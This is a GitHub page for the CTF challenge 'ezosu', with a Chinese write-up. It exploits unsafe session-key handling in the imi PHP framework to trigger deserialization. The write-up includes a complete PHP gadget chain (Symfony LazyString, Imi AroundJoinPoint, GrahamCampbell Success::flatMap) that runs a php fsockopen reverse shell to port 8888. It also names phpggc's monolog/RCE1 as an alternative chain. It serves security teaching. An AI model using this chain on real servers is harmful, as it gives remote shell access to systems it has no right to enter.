Skip to content

Latest commit

 

History

History

ezosu

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

ezosu

How to Start and Stop

start

docker-compose up -d

stop

docker-compose down --rmi all

writeup

unsafe session

本题利用了一个名为imi的框架。

本题有且只有一个路由由php处理/config,其实现如下:

image-20211229211433630

这个路由的代码中最惹人注意的地方是,session的键值是可以被用户控制的。

imi框架是用swoole起点的,但swoole本身不支持php的原生session,所以为了兼容原生的session,imi框架自己写了一个session模块,并兼容了原生session。

在原生session文件处理的实现中,开发者使用|对属性进行分割,但键名没有过滤,可以插入|。如果用户可控键名,那么就会导致反序列化逃逸。

image-20211229210444085

find gadget

那么接下来就是找反序列化链了。本次比赛的选手找到了各种各样的链,这里先说一下预期链:

由于本人在测试时并没有找到destruct触发的链。所以基于反序列化函数后的代码尝试触发toString。但我们可以看到反序列化得到的对象,经过两行代码后就进入了serialize函数中。这意味着我们可以通过触发__sleep来触发一条序列化链。

这里是我找到的gadget。

<?php
namespace Symfony\Component\String {
    class LazyString {
        private $value;

        public function __construct($a)
        {
            $this->value = $a;
        }
    }
}

namespace Imi\Aop {
    class JoinPoint {
        protected array $args;
    }

    class AroundJoinPoint extends JoinPoint {
        private $nextProceed;

        public function __construct($a, $b)
        {
            $this->args = $a;
            $this->nextProceed = $b;
        }
    }
}

namespace GrahamCampbell\ResultType {
    class Success {
        private $value;

        public function __construct($a)
        {
            $this->value = $a;
        }
    }
}

namespace {
    $ip = "127%2E0%2E%2E1";
    $re = "php -r '\$sock=fsockopen(urldecode(\"$ip\"),8888);exec(\"/bin/sh -i <&3 >&3 2>&3\");'";

    $exp = new \Symfony\Component\String\LazyString(
        [
            new \Imi\Aop\AroundJoinPoint(
                [new \GrahamCampbell\ResultType\Success($re), "flatMap"], 
                [new \GrahamCampbell\ResultType\Success("system"), "flatMap"]
            ),
            "proceed"
        ]
    );
    echo json_encode(["aaa|".serialize($exp)."aa" => "aaaa"]);
}

入口是十分经典的LazyString,其__sleep会去调用__toString方法。一些选手使用此方法以为是什么神秘的地方调用了__toString,实际上是调用了__sleep方法。

image-20211229232716199

这里我们可以调用任意类的公共方法,这里我选择了Imi\Aop\AroundJoinPoint::proceed:

image-20211229232832689 其参数默认为null,$args可以通过父类属性获取,但必须是array类型。这个地方的动态调用虽然函数可控,但参数只有一个,且参数类型必须是array,是无法getshell的。那么就继续找存在动态调用的公共方法。

最终找到了GrahamCampbell\ResultType\Success::flatMap,其参数必须是callable类型。

image-20211229233610931

动态调用公共方法的数组是被算作callable类型的,所以只要利用两次这个方法即可。

调用流程图

other gadget

当然我说过,gadget不止这一条。有人使用phpggcmonolog/RCE1就直接打穿了(草)。 很想吐槽monolog,你都2.3.5版本了,怎么还不修链,学学人家yii啊,搞的我这道题都是非预期(bushi

还有一些队伍使用monologdestruct加其它的类来触发反序列化链,就不说了。

如果抛开monolog的话,本题找destructwakeup起点的链其实很难。因为此框架的类属性都是限定类型的,那么找gadget就会变成java那样比较麻烦。目前来看目前没有一个队伍的起点是imi框架里的。

other point

因为开发者设置的特殊规则,session键值中的.符号会被解释为子属性。因此链中的.符号必须进行特殊处理。比如我这里使用php反弹shell时将会被转义的符号url编码,在执行反弹shell代码的时候再解开。